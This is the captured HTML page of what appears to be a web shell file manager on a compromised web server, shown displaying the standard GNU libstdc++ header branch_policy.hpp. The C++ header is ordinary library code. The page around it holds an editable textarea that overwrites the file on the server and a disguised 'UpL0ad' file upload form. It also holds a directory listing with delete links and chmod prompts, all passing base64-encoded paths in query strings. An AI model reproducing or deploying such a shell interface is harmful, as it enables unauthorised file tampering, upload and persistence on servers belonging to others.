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<hr>branch_policy.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k%3D&f=YnJhbmNoX3BvbGljeS5ocHA%3D"><input name="f" value="branch_policy.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file branch_policy/branch_policy.hpp
 * Contains a base class for branch policies.
 */

#ifndef PB_DS_BRANCH_POLICY_BASE_HPP
#define PB_DS_BRANCH_POLICY_BASE_HPP

#include &lt;ext/pb_ds/tag_and_trait.hpp&gt;
#include &lt;ext/pb_ds/detail/types_traits.hpp&gt;

namespace __gnu_pbds
{
  namespace detail
  {
    /// Primary template, base class for branch structure policies.
    template&lt;typename Node_CItr, typename Node_Itr, typename _Alloc&gt;
      struct branch_policy
      {
      protected:
	typedef typename Node_Itr::value_type 		it_type;
	typedef typename std::iterator_traits&lt;it_type&gt;::value_type value_type;
	typedef typename value_type::first_type 	key_type;

	typedef typename remove_const&lt;value_type&gt;::type	rcvalue_type;
	typedef typename remove_const&lt;key_type&gt;::type	rckey_type;

	typedef rebind_traits&lt;_Alloc, rcvalue_type&gt;	rebind_v;
	typedef rebind_traits&lt;_Alloc, rckey_type&gt;	rebind_k;

	typedef	typename rebind_v::reference 		reference;
	typedef	typename rebind_v::const_reference 	const_reference;
	typedef	typename rebind_v::const_pointer	const_pointer;

	typedef	typename rebind_k::const_reference 	key_const_reference;

	static inline key_const_reference
	extract_key(const_reference r_val)
	{ return r_val.first; }

	virtual it_type
	end() = 0;

	it_type
	end_iterator() const
	{ return const_cast&lt;branch_policy*&gt;(this)-&gt;end(); }

	virtual
	~branch_policy() { }
      };

    /// Specialization for const iterators.
    template&lt;typename Node_CItr, typename _Alloc&gt;
      struct branch_policy&lt;Node_CItr, Node_CItr, _Alloc&gt;
      {
      protected:
	typedef typename Node_CItr::value_type 		   it_type;
       	typedef typename std::iterator_traits&lt;it_type&gt;::value_type value_type;
	typedef typename remove_const&lt;value_type&gt;::type		   rcvalue_type;
	typedef rebind_traits&lt;_Alloc, rcvalue_type&gt;	rebind_v;
	typedef	typename rebind_v::reference 		reference;
	typedef	typename rebind_v::const_reference 	const_reference;
	typedef	typename rebind_v::const_pointer	const_pointer;

	typedef value_type 				key_type;
	typedef	typename rebind_v::const_reference 	key_const_reference;

	static inline key_const_reference
	extract_key(const_reference r_val)
	{ return r_val; }

	virtual it_type
	end() const = 0;

	it_type
	end_iterator() const
	{ return end(); }

	virtual
	~branch_policy() { }
      };
  } // namespace detail
} // namespace __gnu_pbds

#endif // #ifndef PB_DS_BRANCH_POLICY_BASE_HPP
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds/detail/branch_policy<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&x=YnJhbmNoX3BvbGljeS5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=YnJhbmNoX3BvbGljeS5ocHA="/>branch_policy.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=YnJhbmNoX3BvbGljeS5ocHA=&c=`+btoa(c):0" value="0644"></td><td>4020</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&x=bnVsbF9ub2RlX21ldGFkYXRhLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=bnVsbF9ub2RlX21ldGFkYXRhLmhwcA=="/>null_node_metadata.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=bnVsbF9ub2RlX21ldGFkYXRhLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>2379</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&x=dHJhaXRzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=dHJhaXRzLmhwcA=="/>traits.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL2JyYW5jaF9wb2xpY3k=&f=dHJhaXRzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>3254</td></tr></table>